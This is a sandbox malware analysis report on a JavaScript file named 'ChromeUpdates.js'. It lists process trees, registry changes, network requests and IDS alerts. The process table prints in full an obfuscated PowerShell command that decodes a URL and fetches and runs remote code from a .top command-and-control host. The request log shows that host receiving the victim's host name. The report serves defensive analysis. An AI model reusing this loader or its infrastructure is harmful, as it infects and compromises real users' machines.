| File name: | ChromeUpdates.js |
| Full analysis: | https://app.any.run/tasks/617e6a53-37a2-4c6a-85f4-afbbaa644f79 |
| Verdict: | Malicious activity |
| Analysis date: | October 22, 2024, 10:23:35 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (12393), with no line terminators |
| MD5: | A933BBF73AD8591611E06D5FCAC3FA32 |
| SHA1: | D0258998962DB9CDDBF90AFA30E9888AF515F975 |
| SHA256: | 2C840E2187AEBC3BAE86C938BF7A9F5105424837AED0BD15DAAD0A55B29F8282 |
| SSDEEP: | 384:kC1ULtdNSXq5zBnmFXjfwpR/ahtB+LrRchY:k02tKXq5zBnmFTfwpxahtBiR |
MALICIOUS
Gets information about running processes via WMI (SCRIPT)
- wscript.exe (PID: 204)
Execute application with conhost.exe as parent process
- powershell.exe (PID: 6136)
Connects to the CnC server
- powershell.exe (PID: 6136)
SUSPICIOUS
Executed via WMI
- conhost.exe (PID: 3764)
Creates an object to access WMI (SCRIPT)
- wscript.exe (PID: 204)
Starts POWERSHELL.EXE for commands execution
- conhost.exe (PID: 3764)
Contacting a server suspected of hosting an CnC
- svchost.exe (PID: 2172)
INFO
Application launched itself
- chrome.exe (PID: 7396)
Manual execution by a user
- chrome.exe (PID: 7396)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
145
Monitored processes
16
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 204 | "C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\ChromeUpdates.js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 2172 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3764 | conhost --headless powershell $eplucajbmioygt='ur' ;new-alias printout c$($eplucajbmioygt)l;$ipakufmgv=(3982,3995,3982,3994,3999,3982,3994,3928,3933,3999,3927,3929,3928,3933,3975,3923,3993,3988,3989,3924,3926,3923,3989,3981,3989,3940,3992,3938,3986,3982,3987,3993,3992,3929,3926);$uwpdafcsgroy=('bronx','get-cmdlet');$txogqwvkyd=$ipakufmgv;foreach($ebjrahdi in $txogqwvkyd){$hyeutr=$ebjrahdi;$ebkpayihfsvd=$ebkpayihfsvd+[char]($hyeutr-3877);$elrpdjkbgyn=$ebkpayihfsvd; $jbvtyswfndo=$elrpdjkbgyn};$vgcbqwkfupoen[2]=$jbvtyswfndo;$efkpghmrvduijq='rl';$vwhjiuygz=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jbvtyswfndo) | C:\Windows\System32\conhost.exe | — | WmiPrvSE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5700 | C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding | C:\Windows\System32\rundll32.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6132 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5440 --field-trial-handle=1888,i,14555286240355811226,3219753495595758985,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
| 6136 | powershell $eplucajbmioygt='ur' ;new-alias printout c$($eplucajbmioygt)l;$ipakufmgv=(3982,3995,3982,3994,3999,3982,3994,3928,3933,3999,3927,3929,3928,3933,3975,3923,3993,3988,3989,3924,3926,3923,3989,3981,3989,3940,3992,3938,3986,3982,3987,3993,3992,3929,3926);$uwpdafcsgroy=('bronx','get-cmdlet');$txogqwvkyd=$ipakufmgv;foreach($ebjrahdi in $txogqwvkyd){$hyeutr=$ebjrahdi;$ebkpayihfsvd=$ebkpayihfsvd+[char]($hyeutr-3877);$elrpdjkbgyn=$ebkpayihfsvd; $jbvtyswfndo=$elrpdjkbgyn};$vgcbqwkfupoen[2]=$jbvtyswfndo;$efkpghmrvduijq='rl';$vwhjiuygz=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jbvtyswfndo) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | conhost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7396 | "C:\Program Files\Google\Chrome\Application\chrome.exe" "--disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction,OptimizationHints" | C:\Program Files\Google\Chrome\Application\chrome.exe | explorer.exe | ||||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
| 7404 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x224,0x228,0x22c,0x1f8,0x230,0x7ffbcc93dc40,0x7ffbcc93dc4c,0x7ffbcc93dc58 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
| 7548 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1884 --field-trial-handle=1888,i,14555286240355811226,3219753495595758985,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
| 7560 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=2220 --field-trial-handle=1888,i,14555286240355811226,3219753495595758985,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:3 | C:\Program Files\Google\Chrome\Application\chrome.exe | chrome.exe | ||||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
Total events
9 638
Read events
9 625
Write events
12
Delete events
1
Modification events
| (PID) Process: | (204) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: CFB7080000000000 | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96} |
| Operation: | write | Name: | usagestats |
Value: 0 | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\PreferenceMACs\Default\extensions.settings |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\PreferenceMACs\Default\extensions.settings |
| Operation: | write | Name: | ahfgeienlihckogmohjhadlkjgocpleb |
Value: 3B08F722C14555E595AF269F140EE426CE8DEBAD90D03EE9FF33B95CB34233F6 | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\PreferenceMACs\Default\extensions.settings |
| Operation: | write | Name: | bjbddleefiddlmdfdfbgodgacjjldihj |
Value: 5CFE6AD362B9AABBD07085580BC6C063CF1C79A0B22ECB6BCBA21EECA68BA07F | |||
| (PID) Process: | (7396) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\PreferenceMACs\Default\extensions.settings |
| Operation: | write | Name: | mhjfbmdgcfjbbpaeojofohoefgiehjai |
Value: F6EE482B70E472BD0FE04C8E130D7E2A0D87334BDC8F199AD874C100863BC5BE | |||
Executable files
0
Suspicious files
20
Text files
20
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old~RF93944.TMP | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old~RF93944.TMP | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old~RF93954.TMP | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old~RF93954.TMP | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\LOG.old~RF93954.TMP | — | |
MD5:— | SHA256:— | |||
| 7396 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\LOG.old | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
13
TCP/UDP connections
64
DNS requests
30
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5488 | MoUsoCoreWorker.exe | GET | 200 | 23.216.77.28:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4376 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6136 | powershell.exe | GET | 302 | 142.250.181.228:80 | http://www.google.com/ | unknown | — | — | whitelisted |
6136 | powershell.exe | GET | 302 | 206.188.196.37:80 | http://clmejcgdginfnnh.top/nv1e9gyitjhtr.php?id=DESKTOP-JGLLJLD&key=31376085225&s=mints41 | unknown | — | — | malicious |
6484 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
6136 | powershell.exe | GET | 429 | 142.250.181.228:80 | http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgTYGNg9GLb63bgGIjAqXgA1_lzQJlmuRxwbgq5_Hdm0x3OaltgA3SiH08bj9UjQvw_PLcC_W6UnBfysdrAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM | unknown | — | — | whitelisted |
7288 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7288 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
5488 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4360 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
6944 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5488 | MoUsoCoreWorker.exe | 23.216.77.28:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5488 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4360 | SearchApp.exe | 104.126.37.123:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
4360 | SearchApp.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
4020 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
google.com |
| whitelisted |
iviuziu38z2438b.top |
| unknown |
login.live.com |
| whitelisted |
clmejcgdginfnnh.top |
| malicious |
th.bing.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2172 | svchost.exe | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |
6136 | powershell.exe | Potentially Bad Traffic | ET INFO HTTP Request to a *.top domain |
6136 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6136 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6136 | powershell.exe | Misc activity | SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body |
6136 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6136 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
3 ETPRO signatures available at the full report